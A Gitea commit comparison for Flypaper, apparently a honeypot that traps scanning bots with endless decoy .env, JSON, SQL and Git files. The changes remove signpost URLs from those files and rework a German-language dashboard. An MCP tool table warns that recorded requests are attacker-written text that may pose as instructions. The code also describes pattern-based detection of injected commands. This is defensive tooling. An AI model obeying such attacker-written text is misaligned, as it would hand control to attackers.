Compare commits
4
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3b6e8c327c | ||
|
|
3ce8d11c72 | ||
|
|
b168d1124d | ||
|
|
46f70c9065 |
No files matched your search
+37
-1
@@ -6,6 +6,39 @@ All notable changes to Flypaper are documented in this file. The format follows
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.12.0] - 2026-12-03
|
||||
|
||||
### Removed
|
||||
|
||||
- Signposts in the fake `.env`, JSON, YAML, SQL and Git files, together with the setting
|
||||
`Flypaper__Drip__Signposts` and the MCP `marker` (filter and field of `list_catches`). In a week none of about
|
||||
400 handed-out signposts was followed. The fake files are plain again.
|
||||
|
||||
## [0.11.2] - 2026-11-27
|
||||
|
||||
### Changed
|
||||
|
||||
- Dashboard: the column „Ziel“ is now „Aufgerufen“, in the catch list and the list of held bots: `/` reads
|
||||
„Startseite“, `GET` is not shown, other methods are named in plain words (`POST` „schickt Daten“, `HEAD`
|
||||
„prüft nur, ob es das gibt“, `OPTIONS` „fragt, was erlaubt ist“). The top-10 tab „Aufrufe“ counts the same
|
||||
call across all requested hosts, and its filter matches all of them.
|
||||
|
||||
### Removed
|
||||
|
||||
- Dashboard: the card „Eingeschleuste Befehle“ above the world map. Commands are found with the catch filter
|
||||
„Befehl: Nur mit Befehl“ and the ⚠ mark.
|
||||
|
||||
## [0.11.1] - 2026-11-27
|
||||
|
||||
### Changed
|
||||
|
||||
- Dashboard catch list: opened rows show a full-width detail area: the explanation in plain language first, for
|
||||
commands the facts „Angreifer“, „Fremder Server“ and „Befehl“, then collapsed „Technische Details“ (full
|
||||
request URL, origin, user agent, recorded headers and body). The list shows only method and path (without
|
||||
the requested host); commands are marked with „⚠“. Commands and servers are no longer defanged in the
|
||||
dashboard (still plain text, never links); MCP `list_commands` stays defanged.
|
||||
- The filter bar of the catch list fits the filter „Befehl“ into one row.
|
||||
|
||||
## [0.11.0] - 2026-11-27
|
||||
|
||||
### Added
|
||||
@@ -289,7 +322,10 @@ First release.
|
||||
- Unraid Docker template; when started as root, the container hands `/data` to its app user
|
||||
and drops privileges.
|
||||
|
||||
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.0...main
|
||||
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.12.0...main
|
||||
[0.12.0]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.2...v0.12.0
|
||||
[0.11.2]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.2
|
||||
[0.11.1]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.1
|
||||
[0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0
|
||||
[0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0
|
||||
[0.9.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.9.0
|
||||
|
||||
@@ -27,7 +27,6 @@ All optional. Read at startup; list entries need an index (`__0`, `__1`, ...).
|
||||
| `Flypaper__Drip__BaitPaths` | Comma-separated decoy paths listed in `robots.txt` (max. 8, empty = off); requests to them get `robots-bait` and are held for at least 24 h | `/backup-2024/,/admin-old/,/internal/db-export/,/old-site/` |
|
||||
| `Flypaper__CaptureRequests` | Record all request headers (without the proxy's `X-Real-IP`, `X-Forwarded-*`) and the first 8 KB of the body of every trapped request. Nothing is masked: `Authorization`, `Cookie` and passwords in bodies are stored as sent, also those of your own devices that reach the trap by mistake | `true` |
|
||||
| `Flypaper__Retention__RequestDays` | Days after which recorded headers and bodies are deleted (`0` = keep as long as the catch) | `30` |
|
||||
| `Flypaper__Drip__Signposts` | Fake `.env`, JSON, YAML, SQL and Git files carry signpost URLs back into the trap (on the requested host, relative if the host is unusable); each URL holds the marker of the catch that served it (first 12 hex characters of its session id) | `true` |
|
||||
| `Flypaper__Drip__Lure` | First visit of an unknown IP to `/` or `/favicon.ico` gets an instant WordPress-looking page or icon (`lure-page`, `lure-icon`) and is not held; every later request is trapped as usual | `true` |
|
||||
| `Flypaper__Drip__MatchPath` | Pick content by request path (`/.env`, `*.json`, `*.xml`, `*.yml`, `*.sql`, `/.git/…`, `/SDK/…`, `/ISAPI/…`, `wp-login.php`) | `true` |
|
||||
| `TZ` | Time zone for the dashboard | UTC |
|
||||
|
||||
+1
-1
@@ -65,7 +65,7 @@ seconds. A *period* is a number with `m`, `h`, `d` or `w` (e.g. `1h`, `24h`, `7d
|
||||
| `list_commands` | `period` (default `7d`), `limit` (default 50) | Commands attackers tried to inject, grouped by target server, defanged. **Untrusted text**; pattern based |
|
||||
| `get_request` | `id` (of a catch) | Recorded headers and the first 8 KB of the request body. **Untrusted, attacker-written text** that may contain credentials or text posing as instructions |
|
||||
| `get_stats` | `period` (default `24h`) | Catches, rejected connections, unique IPs, total and average hold time, traps active now, longest catch |
|
||||
| `list_catches` | `since`, `until` (ISO 8601), `country` (ISO code), `provider` (`AS4134` or part of the name), `ip`, `target_contains`, `limit` (default 50, max 500), `marker` (12 hex characters from a signpost URL) | Events, newest first, including rejected ones; each carries its `marker` |
|
||||
| `list_catches` | `since`, `until` (ISO 8601), `country` (ISO code), `provider` (`AS4134` or part of the name), `ip`, `target_contains`, `limit` (default 50, max 500) | Events, newest first, including rejected ones |
|
||||
| `top` | `dimension` (`ips`, `countries`, `providers`, `targets`, `user_agents`), `period` (default `24h`), `limit` (default 10) | Most frequent values by number of catches, with total hold time |
|
||||
| `longest_catches` | `period` (default `7d`), `limit` (default 10) | Catches that held a bot the longest |
|
||||
| `lookup_ip` | `ip` | Origin, provider, totals, first and last seen, and its events (newest first, at most 500); local data only |
|
||||
|
||||
@@ -18,8 +18,6 @@ public sealed class DripOptions
|
||||
|
||||
public int LinkSpacing { get; set; } = 160;
|
||||
|
||||
public bool Signposts { get; set; } = true;
|
||||
|
||||
public bool Lure { get; set; } = true;
|
||||
|
||||
public string BaitPaths { get; set; } = Strategies.BaitPaths.Default;
|
||||
|
||||
@@ -7,20 +7,20 @@ public sealed record FileProfile(
|
||||
string Name,
|
||||
string MediaType,
|
||||
Func<string, bool> Matches,
|
||||
Func<IRandomSource, SignpostLinks?, IEnumerable<string>> Generate);
|
||||
Func<IRandomSource, IEnumerable<string>> Generate);
|
||||
|
||||
public static class FileContent
|
||||
{
|
||||
public static readonly IReadOnlyList<FileProfile> Profiles =
|
||||
[
|
||||
new("git-drip", "text/plain; charset=utf-8", IsGit, GitConfig),
|
||||
new("svn-drip", "text/plain; charset=utf-8", path => IsInside(path, "/.svn"), (random, _) => Svn(random)),
|
||||
new("hg-drip", "text/plain; charset=utf-8", path => IsInside(path, "/.hg"), (random, _) => Mercurial(random)),
|
||||
new("wordpress-drip", "text/html; charset=UTF-8", path => LastSegment(path) == "wp-login.php", (random, _) => WordPressLogin(random)),
|
||||
new("hikvision-drip", "application/xml", path => path.StartsWith("/sdk/", StringComparison.Ordinal) || path.StartsWith("/isapi/", StringComparison.Ordinal), (random, _) => Hikvision(random)),
|
||||
new("svn-drip", "text/plain; charset=utf-8", path => IsInside(path, "/.svn"), Svn),
|
||||
new("hg-drip", "text/plain; charset=utf-8", path => IsInside(path, "/.hg"), Mercurial),
|
||||
new("wordpress-drip", "text/html; charset=UTF-8", path => LastSegment(path) == "wp-login.php", WordPressLogin),
|
||||
new("hikvision-drip", "application/xml", path => path.StartsWith("/sdk/", StringComparison.Ordinal) || path.StartsWith("/isapi/", StringComparison.Ordinal), Hikvision),
|
||||
new("env-drip", "text/plain; charset=utf-8", path => IsEnv(LastSegment(path)), Env),
|
||||
new("json-drip", "application/json", path => path.EndsWith(".json", StringComparison.Ordinal), Json),
|
||||
new("xml-drip", "application/xml", path => path.EndsWith(".xml", StringComparison.Ordinal), (random, _) => Xml(random)),
|
||||
new("xml-drip", "application/xml", path => path.EndsWith(".xml", StringComparison.Ordinal), Xml),
|
||||
new("yaml-drip", "text/plain; charset=utf-8", path => path.EndsWith(".yml", StringComparison.Ordinal) || path.EndsWith(".yaml", StringComparison.Ordinal), Yaml),
|
||||
new("sql-drip", "text/plain; charset=utf-8", path => path.EndsWith(".sql", StringComparison.Ordinal), Sql)
|
||||
];
|
||||
@@ -46,13 +46,10 @@ public static class FileContent
|
||||
private static bool IsEnv(string name) =>
|
||||
name.StartsWith(".env", StringComparison.Ordinal) || name.EndsWith(".env", StringComparison.Ordinal) || name == "env";
|
||||
|
||||
private static IEnumerable<string> Env(IRandomSource random, SignpostLinks? links)
|
||||
private static IEnumerable<string> Env(IRandomSource random)
|
||||
{
|
||||
var appUrl = links is { BaseUrl.Length: > 0 } ? links.BaseUrl : "https://example.com";
|
||||
var signposts = links is null ? "" : $"BACKUP_URL={links.Backup}\nADMIN_URL={links.Admin}\nCONFIG_URL={links.Settings}\n\n";
|
||||
yield return $"APP_NAME=Portal\nAPP_ENV=production\nAPP_DEBUG=false\nAPP_URL={appUrl}\nAPP_KEY=base64:{Hex(random, 32)}\n\n"
|
||||
+ $"DB_CONNECTION=mysql\nDB_HOST=127.0.0.1\nDB_PORT=3306\nDB_DATABASE=app\nDB_USERNAME=app\nDB_PASSWORD={Hex(random, 16)}\n\n"
|
||||
+ signposts;
|
||||
yield return $"APP_NAME=Portal\nAPP_ENV=production\nAPP_DEBUG=false\nAPP_URL=https://example.com\nAPP_KEY=base64:{Hex(random, 32)}\n\n"
|
||||
+ $"DB_CONNECTION=mysql\nDB_HOST=127.0.0.1\nDB_PORT=3306\nDB_DATABASE=app\nDB_USERNAME=app\nDB_PASSWORD={Hex(random, 16)}\n\n";
|
||||
|
||||
while (true)
|
||||
{
|
||||
@@ -120,10 +117,9 @@ public static class FileContent
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<string> Json(IRandomSource random, SignpostLinks? links)
|
||||
private static IEnumerable<string> Json(IRandomSource random)
|
||||
{
|
||||
var signposts = links is null ? "" : $" \"backup_url\": \"{links.Backup}\",\n \"api_base\": \"{links.Settings}\",\n";
|
||||
yield return "{\n \"name\": \"portal\",\n \"version\": \"1.4.2\",\n \"private\": true,\n" + signposts + " \"entries\": [\n";
|
||||
yield return "{\n \"name\": \"portal\",\n \"version\": \"1.4.2\",\n \"private\": true,\n \"entries\": [\n";
|
||||
|
||||
var id = 1;
|
||||
while (true)
|
||||
@@ -143,10 +139,9 @@ public static class FileContent
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<string> Yaml(IRandomSource random, SignpostLinks? links)
|
||||
private static IEnumerable<string> Yaml(IRandomSource random)
|
||||
{
|
||||
var signposts = links is null ? "" : $"x-backup:\n backup_url: {links.Backup}\n api_base: {links.Settings}\n";
|
||||
yield return "version: \"3.8\"\n" + signposts + "services:\n";
|
||||
yield return "version: \"3.8\"\nservices:\n";
|
||||
|
||||
while (true)
|
||||
{
|
||||
@@ -154,10 +149,9 @@ public static class FileContent
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<string> Sql(IRandomSource random, SignpostLinks? links)
|
||||
private static IEnumerable<string> Sql(IRandomSource random)
|
||||
{
|
||||
var signpost = links is null ? "" : $"-- Previous full dump: {links.Backup}\n";
|
||||
yield return "-- MySQL dump 10.13 Distrib 8.0.36, for Linux (x86_64)\n--\n-- Host: localhost Database: app\n" + signpost + "-- ------------------------------------------------------\n\n"
|
||||
yield return "-- MySQL dump 10.13 Distrib 8.0.36, for Linux (x86_64)\n--\n-- Host: localhost Database: app\n-- ------------------------------------------------------\n\n"
|
||||
+ "DROP TABLE IF EXISTS `users`;\nCREATE TABLE `users` (\n `id` int NOT NULL AUTO_INCREMENT,\n `name` varchar(64) NOT NULL,\n `token` varchar(64) NOT NULL,\n PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n\n"
|
||||
+ "LOCK TABLES `users` WRITE;\n";
|
||||
|
||||
@@ -168,11 +162,10 @@ public static class FileContent
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<string> GitConfig(IRandomSource random, SignpostLinks? links)
|
||||
private static IEnumerable<string> GitConfig(IRandomSource random)
|
||||
{
|
||||
var remote = links?.Repository ?? "https://example.com/portal.git";
|
||||
yield return "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n"
|
||||
+ $"[remote \"origin\"]\n\turl = {remote}\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n";
|
||||
+ "[remote \"origin\"]\n\turl = https://example.com/portal.git\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n";
|
||||
|
||||
while (true)
|
||||
{
|
||||
|
||||
@@ -13,6 +13,5 @@ public sealed class FileDripStrategy(
|
||||
|
||||
public override string MediaType => profile.MediaType;
|
||||
|
||||
protected override IEnumerable<string> Content(IRandomSource random, ITrapChannel channel, DripOptions options) =>
|
||||
profile.Generate(random, options.Signposts ? SignpostLinks.For(channel) : null);
|
||||
protected override IEnumerable<string> Content(IRandomSource random, ITrapChannel channel, DripOptions options) => profile.Generate(random);
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
using System.Text.RegularExpressions;
|
||||
using Flypaper.Core.Abstractions;
|
||||
|
||||
namespace Flypaper.Core.Strategies;
|
||||
|
||||
public sealed partial record SignpostLinks(string BaseUrl, string Marker)
|
||||
{
|
||||
public const int MarkerLength = 12;
|
||||
|
||||
public string Backup => $"{BaseUrl}/backup/db-{Marker}.sql";
|
||||
|
||||
public string Admin => $"{BaseUrl}/admin-{Marker}/";
|
||||
|
||||
public string Settings => $"{BaseUrl}/storage/settings-{Marker}.json";
|
||||
|
||||
public string Repository => $"{BaseUrl}/git-{Marker}/portal.git";
|
||||
|
||||
public static string MarkerOf(Guid sessionId) => sessionId.ToString("N")[..MarkerLength];
|
||||
|
||||
public static SignpostLinks For(ITrapChannel channel)
|
||||
{
|
||||
var baseUrl = channel.Host is { } host && HostPattern().IsMatch(host) ? $"http://{host}" : "";
|
||||
return new SignpostLinks(baseUrl, MarkerOf(channel.Session.Id));
|
||||
}
|
||||
|
||||
[GeneratedRegex(@"^[A-Za-z0-9.-]{1,253}\z")]
|
||||
private static partial Regex HostPattern();
|
||||
}
|
||||
@@ -42,7 +42,7 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
||||
await events.Where(e => e.StartedAt >= since).Select(e => e.RemoteIp).Distinct().CountAsync(ct),
|
||||
TimeSpan.FromMilliseconds(await catches.SumAsync(e => e.DurationMs, ct)),
|
||||
await TopAsync(catches.GroupBy(e => e.RemoteIp), ct),
|
||||
await TopAsync(catches.Where(e => e.Target != null).GroupBy(e => e.Target!), ct),
|
||||
await TopRequestsAsync(catches, ct),
|
||||
await catches.Select(e => new StrategySample(e.Strategy, e.DurationMs)).ToListAsync(ct),
|
||||
countries
|
||||
.Take(TopCount)
|
||||
@@ -127,9 +127,19 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
||||
}
|
||||
|
||||
if (filter.Target is { } target)
|
||||
{
|
||||
var space = target.IndexOf(' ');
|
||||
if (space >= 0 && target.AsSpan(space + 1).StartsWith("/"))
|
||||
{
|
||||
var method = target[..(space + 1)];
|
||||
var path = target[(space + 1)..];
|
||||
events = events.Where(e => e.Target!.StartsWith(method) && e.Target.Substring(e.Target.IndexOf("/")) == path);
|
||||
}
|
||||
else
|
||||
{
|
||||
events = events.Where(e => e.Target == target);
|
||||
}
|
||||
}
|
||||
|
||||
if (filter.Strategy is { } strategy)
|
||||
{
|
||||
@@ -164,6 +174,23 @@ public sealed class DashboardQueries(IDbContextFactory<FlypaperDbContext> dbCont
|
||||
return events;
|
||||
}
|
||||
|
||||
private static async Task<IReadOnlyList<TopEntry>> TopRequestsAsync(IQueryable<TrapEventEntity> catches, CancellationToken ct)
|
||||
{
|
||||
var rows = await catches
|
||||
.Where(e => e.Target != null)
|
||||
.GroupBy(e => e.Target!)
|
||||
.Select(g => new { g.Key, Count = g.Count(), DurationMs = g.Sum(e => e.DurationMs) })
|
||||
.ToListAsync(ct);
|
||||
|
||||
return rows
|
||||
.GroupBy(r => RequestKey.Of(r.Key), StringComparer.Ordinal)
|
||||
.Select(g => new TopEntry(g.Key, g.Sum(r => r.Count), TimeSpan.FromMilliseconds(g.Sum(r => r.DurationMs))))
|
||||
.OrderByDescending(x => x.Count)
|
||||
.ThenByDescending(x => x.HoldTime)
|
||||
.Take(TopCount)
|
||||
.ToList();
|
||||
}
|
||||
|
||||
private static async Task<IReadOnlyList<TopEntry>> TopAsync(
|
||||
IQueryable<IGrouping<string, TrapEventEntity>> groups,
|
||||
CancellationToken ct)
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
namespace Flypaper.Storage.Dashboard;
|
||||
|
||||
public static class RequestKey
|
||||
{
|
||||
public static (string Method, string Path)? Split(string? target)
|
||||
{
|
||||
var space = target?.IndexOf(' ') ?? -1;
|
||||
var slash = space < 0 ? -1 : target!.IndexOf('/', space);
|
||||
return slash < 0 ? null : (target![..space], target[slash..]);
|
||||
}
|
||||
|
||||
public static string Of(string target) => Split(target) is var (method, path) ? $"{method} {path}" : target;
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
using System.Globalization;
|
||||
using Flypaper.Core.Models;
|
||||
using Flypaper.Core.Strategies;
|
||||
using Flypaper.Storage.Entities;
|
||||
using Microsoft.EntityFrameworkCore;
|
||||
|
||||
@@ -62,13 +61,6 @@ public sealed class CatchQueries(IDbContextFactory<FlypaperDbContext> dbContextF
|
||||
events = events.Where(e => e.Target != null && e.Target.ToLower().Contains(text));
|
||||
}
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(filter.Marker))
|
||||
{
|
||||
var marker = filter.Marker.Trim();
|
||||
var prefix = $"{marker[..8]}-{marker[8..]}%";
|
||||
events = events.Where(e => EF.Functions.Like(e.SessionId.ToString(), prefix));
|
||||
}
|
||||
|
||||
var rows = await events.OrderByDescending(e => e.StartedAt).ThenByDescending(e => e.Id).Take(Clamp(filter.Limit)).ToListAsync(ct);
|
||||
return rows.Select(ToRecord).ToList();
|
||||
}
|
||||
@@ -195,8 +187,7 @@ public sealed class CatchQueries(IDbContextFactory<FlypaperDbContext> dbContextF
|
||||
e.Asn,
|
||||
e.Provider,
|
||||
e.Target,
|
||||
e.ClientInfo,
|
||||
SignpostLinks.MarkerOf(e.SessionId));
|
||||
e.ClientInfo);
|
||||
|
||||
private sealed class TopRow
|
||||
{
|
||||
|
||||
@@ -17,8 +17,7 @@ public sealed record CatchRecord(
|
||||
long? Asn,
|
||||
string? Provider,
|
||||
string? Target,
|
||||
string? UserAgent,
|
||||
string Marker);
|
||||
string? UserAgent);
|
||||
|
||||
public sealed record CatchFilter(
|
||||
DateTime? Since = null,
|
||||
@@ -27,8 +26,7 @@ public sealed record CatchFilter(
|
||||
string? Provider = null,
|
||||
string? Ip = null,
|
||||
string? TargetContains = null,
|
||||
int Limit = 50,
|
||||
string? Marker = null);
|
||||
int Limit = 50);
|
||||
|
||||
public sealed record CatchStats(
|
||||
int Catches,
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
@{
|
||||
var (text, note, method) = Formatting.Called(Target);
|
||||
}
|
||||
@text@if (note is not null)
|
||||
{
|
||||
<span class="method-note" title="@method"> · @note</span>
|
||||
}
|
||||
|
||||
@code {
|
||||
[Parameter, EditorRequired] public string? Target { get; set; }
|
||||
}
|
||||
@@ -3,13 +3,10 @@
|
||||
@using Flypaper.Core.Models
|
||||
@using Flypaper.Http
|
||||
@using Microsoft.Extensions.Options
|
||||
@using Flypaper.Core.Analysis
|
||||
@using Flypaper.Storage.Dashboard
|
||||
@using Flypaper.Storage.Queries
|
||||
@using Flypaper.Storage.Entities
|
||||
@using Flypaper.Storage.Explanations
|
||||
@inject DashboardQueries Queries
|
||||
@inject CommandQueries CommandQueries
|
||||
@inject ExplanationRuleStore Explanations
|
||||
@inject IConnectionGovernor Governor
|
||||
@inject IActiveTraps ActiveTraps
|
||||
@@ -71,7 +68,7 @@
|
||||
<tr>
|
||||
<th class="c-ip">IP</th>
|
||||
<th class="c-origin">Herkunft</th>
|
||||
<th class="c-target">Ziel</th>
|
||||
<th class="c-target">Aufgerufen</th>
|
||||
<th class="c-strategy">Strategie</th>
|
||||
<th class="c-agent">User-Agent</th>
|
||||
<th class="c-duration num">Seit</th>
|
||||
@@ -82,7 +79,6 @@
|
||||
@foreach (var trap in _active)
|
||||
{
|
||||
var origin = Enricher.Lookup(trap.Ip);
|
||||
var target = Formatting.Target(trap.Target);
|
||||
var strategy = StrategyNames.Describe(trap.Strategy);
|
||||
var ip = trap.Ip.ToString();
|
||||
<tr>
|
||||
@@ -97,7 +93,7 @@
|
||||
<span class="muted">–</span>
|
||||
}
|
||||
</td>
|
||||
<td class="c-target mono" title="@target">@target</td>
|
||||
<td class="c-target mono" title="@Formatting.CalledText(trap.Target)"><CalledCell Target="@trap.Target" /></td>
|
||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName</td>
|
||||
<td class="c-agent" title="@trap.ClientInfo">@trap.ClientInfo</td>
|
||||
<td class="c-duration num">@Formatting.Duration(_loadedAtUtc - trap.StartedAt)</td>
|
||||
@@ -110,44 +106,6 @@
|
||||
</section>
|
||||
}
|
||||
|
||||
@if (_commands.Count > 0)
|
||||
{
|
||||
<section class="card recent-card command-card">
|
||||
<div class="card-head">
|
||||
<h2>⚠ Eingeschleuste Befehle</h2>
|
||||
<a class="hint" href="@(new DashboardFilter { Befehl = "ja" }.Href())">Alle Fänge mit Befehl</a>
|
||||
</div>
|
||||
<div class="scroll">
|
||||
<table class="s-table command-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Zuletzt</th>
|
||||
<th>Zielserver</th>
|
||||
<th>Befehl (entschärft)</th>
|
||||
<th>Letzte Angreifer-IP</th>
|
||||
<th class="num">Fänge</th>
|
||||
<th class="num">IPs</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach (var command in _commands)
|
||||
{
|
||||
var last = command.LastSeen.ToLocalTime();
|
||||
<tr>
|
||||
<td title="Zuerst gesehen: @command.FirstSeen.ToLocalTime().ToString("dd.MM.yyyy HH:mm")">@last.ToString("dd.MM. HH:mm")</td>
|
||||
<td class="mono">@(command.Server is { } server ? Defang.Server(server) : "–")</td>
|
||||
<td class="mono command-text">@Defang.Text(command.Command)</td>
|
||||
<td class="mono"><a href="@(new DashboardFilter { Ip = command.LastIp, Befehl = "ja" }.Href())">@command.LastIp</a></td>
|
||||
<td class="num">@Formatting.Number(command.Catches)</td>
|
||||
<td class="num">@Formatting.Number(command.Ips)</td>
|
||||
</tr>
|
||||
}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
}
|
||||
|
||||
@if (data.TotalCatches == 0)
|
||||
{
|
||||
<section class="card onboarding">
|
||||
@@ -242,7 +200,7 @@
|
||||
</label>
|
||||
<label class="filter-search">
|
||||
<span>Suche</span>
|
||||
<input type="search" name="q" value="@_filter.Q" placeholder="IP, Provider, Ziel, Strategie, User-Agent" />
|
||||
<input type="search" name="q" value="@_filter.Q" placeholder="IP, Provider, Adresse, Strategie, User-Agent" />
|
||||
</label>
|
||||
@foreach (var (name, value) in new[] { ("provider", _filter.Provider), ("ip", _filter.Ip), ("ziel", _filter.Ziel), ("strategie", _filter.Strategie) })
|
||||
{
|
||||
@@ -277,7 +235,7 @@
|
||||
<th class="c-ip">IP</th>
|
||||
<th class="c-origin">Herkunft</th>
|
||||
<th class="c-provider">Provider</th>
|
||||
<th class="c-target">Ziel</th>
|
||||
<th class="c-target">Aufgerufen</th>
|
||||
<th class="c-strategy">Strategie</th>
|
||||
<th class="c-agent">User-Agent</th>
|
||||
<th class="c-duration num">Dauer</th>
|
||||
@@ -309,29 +267,23 @@
|
||||
}
|
||||
</td>
|
||||
<td class="c-provider" title="@provider">@provider</td>
|
||||
<td class="c-target mono" title="@target">
|
||||
<td class="c-target mono" title="@Formatting.CalledText(trapEvent.Target)">
|
||||
@if (trapEvent.Command is not null)
|
||||
{
|
||||
<span class="badge command-badge" title="@Defang.Text(trapEvent.Command)">⚠ Befehl</span>
|
||||
<span class="command-mark" title="Angriff mit Befehl" role="img" aria-label="Angriff mit Befehl">⚠</span>
|
||||
}
|
||||
@target
|
||||
@if (trapEvent.Command is { } injected)
|
||||
{
|
||||
<div class="extra extra-all command-found">
|
||||
<strong>⚠ Befehl erkannt (entschärft)</strong>
|
||||
<div class="mono command-text">@Defang.Text(injected)</div>
|
||||
@if (trapEvent.CommandServer is { } commandServer)
|
||||
{
|
||||
<div>Zielserver: <span class="mono">@Defang.Server(commandServer)</span></div>
|
||||
}
|
||||
</div>
|
||||
}
|
||||
<div class="extra extra-md">Provider: @(provider ?? "–")</div>
|
||||
<div class="extra extra-md">User-Agent: @(trapEvent.ClientInfo ?? "–")</div>
|
||||
<div class="extra extra-all">Herkunft: @(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {code} · {Origin(trapEvent)}" : "–")</div>
|
||||
<div class="extra extra-sm">Dauer: @duration · Bytes: @bytes</div>
|
||||
<div class="extra extra-all explain">
|
||||
<strong>Was ist passiert?</strong>
|
||||
<CalledCell Target="@trapEvent.Target" />
|
||||
</td>
|
||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
||||
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
||||
<td class="c-duration num">@duration</td>
|
||||
<td class="c-bytes num">@bytes</td>
|
||||
<td class="c-outcome"><span class="outcome @trapEvent.Outcome.ToString().ToLowerInvariant()">@OutcomeLabel(trapEvent.Outcome)</span></td>
|
||||
</tr>
|
||||
<tr class="detail-row" hidden>
|
||||
<td colspan="10">
|
||||
<div class="catch-detail">
|
||||
<h3 class="@(trapEvent.Command is null ? null : "alert")">@(trapEvent.Command is null ? "Was ist passiert?" : "⚠ Angriff mit Befehl")</h3>
|
||||
@if (explanation.Target is { } targetRule)
|
||||
{
|
||||
<p>@targetRule.Text</p>
|
||||
@@ -348,22 +300,56 @@
|
||||
{
|
||||
<p>@outcomeRule.Text</p>
|
||||
}
|
||||
</div>
|
||||
@if (trapEvent.Command is { } command)
|
||||
{
|
||||
var (field, text) = Formatting.CommandParts(command);
|
||||
<dl class="facts">
|
||||
<dt>Angreifer</dt>
|
||||
<dd><span class="mono">@trapEvent.RemoteIp</span>@(provider is null ? "" : $" · {provider}")@(trapEvent.CountryCode is null ? "" : $" · {Origin(trapEvent)}")</dd>
|
||||
@if (trapEvent.CommandServer is { } server)
|
||||
{
|
||||
<dt>Fremder Server</dt>
|
||||
<dd class="mono">@Formatting.Server(server)</dd>
|
||||
}
|
||||
<dt>Befehl</dt>
|
||||
<dd>
|
||||
<code>@text</code>
|
||||
@if (field is not null)
|
||||
{
|
||||
<span class="muted">eingeschleust über das Feld „@field“</span>
|
||||
}
|
||||
</dd>
|
||||
</dl>
|
||||
}
|
||||
<details data-remember="details:@trapEvent.Id">
|
||||
<summary>Technische Details</summary>
|
||||
<dl class="facts">
|
||||
<dt>Anfrage</dt>
|
||||
<dd class="mono">@target</dd>
|
||||
<dt>Zeit</dt>
|
||||
<dd>@started.ToString("dd.MM.yyyy HH:mm:ss")</dd>
|
||||
<dt>Herkunft</dt>
|
||||
<dd>@(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {Origin(trapEvent)}" : "–")</dd>
|
||||
<dt>Provider</dt>
|
||||
<dd>@(provider ?? "–")</dd>
|
||||
<dt>User-Agent</dt>
|
||||
<dd>@(trapEvent.ClientInfo ?? "–")</dd>
|
||||
<dt>Strategie</dt>
|
||||
<dd>@strategy.DisplayName</dd>
|
||||
<dt>Verlauf</dt>
|
||||
<dd>@duration · @bytes Byte · @OutcomeLabel(trapEvent.Outcome)</dd>
|
||||
</dl>
|
||||
@if (recent.WithRequest.Contains(trapEvent.Id))
|
||||
{
|
||||
<div class="extra extra-all request" data-request="catches/@trapEvent.Id/request">
|
||||
<div class="request" data-request="catches/@trapEvent.Id/request">
|
||||
<strong>Gesendete Anfrage</strong>
|
||||
<span class="muted">· vom Angreifer geschrieben</span>
|
||||
<div class="request-content"><span class="muted">Wird geladen …</span></div>
|
||||
</div>
|
||||
}
|
||||
<div class="extra extra-xs">Datum: @started.ToString("dd.MM.yyyy") · Ausgang: @OutcomeLabel(trapEvent.Outcome)</div>
|
||||
</details>
|
||||
</div>
|
||||
</td>
|
||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
||||
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
||||
<td class="c-duration num">@duration</td>
|
||||
<td class="c-bytes num">@bytes</td>
|
||||
<td class="c-outcome"><span class="outcome @trapEvent.Outcome.ToString().ToLowerInvariant()">@OutcomeLabel(trapEvent.Outcome)</span></td>
|
||||
</tr>
|
||||
}
|
||||
</tbody>
|
||||
@@ -396,7 +382,6 @@
|
||||
private DashboardFilter _filter = new();
|
||||
private RuleSet _rules = RuleSet.Empty;
|
||||
private DateTime _loadedAt;
|
||||
private IReadOnlyList<CommandGroup> _commands = [];
|
||||
private DateTimeOffset _loadedAtUtc;
|
||||
private IReadOnlyList<ActiveTrap> _active = [];
|
||||
|
||||
@@ -425,7 +410,6 @@
|
||||
protected override async Task OnInitializedAsync()
|
||||
{
|
||||
_filter = DashboardFilter.Parse(Zeit, Ausgang, Land, Provider, Ip, Ziel, Strategie, Q, Limit, Erklaerung, Befehl);
|
||||
_commands = await CommandQueries.GetGroupsAsync(null, 10);
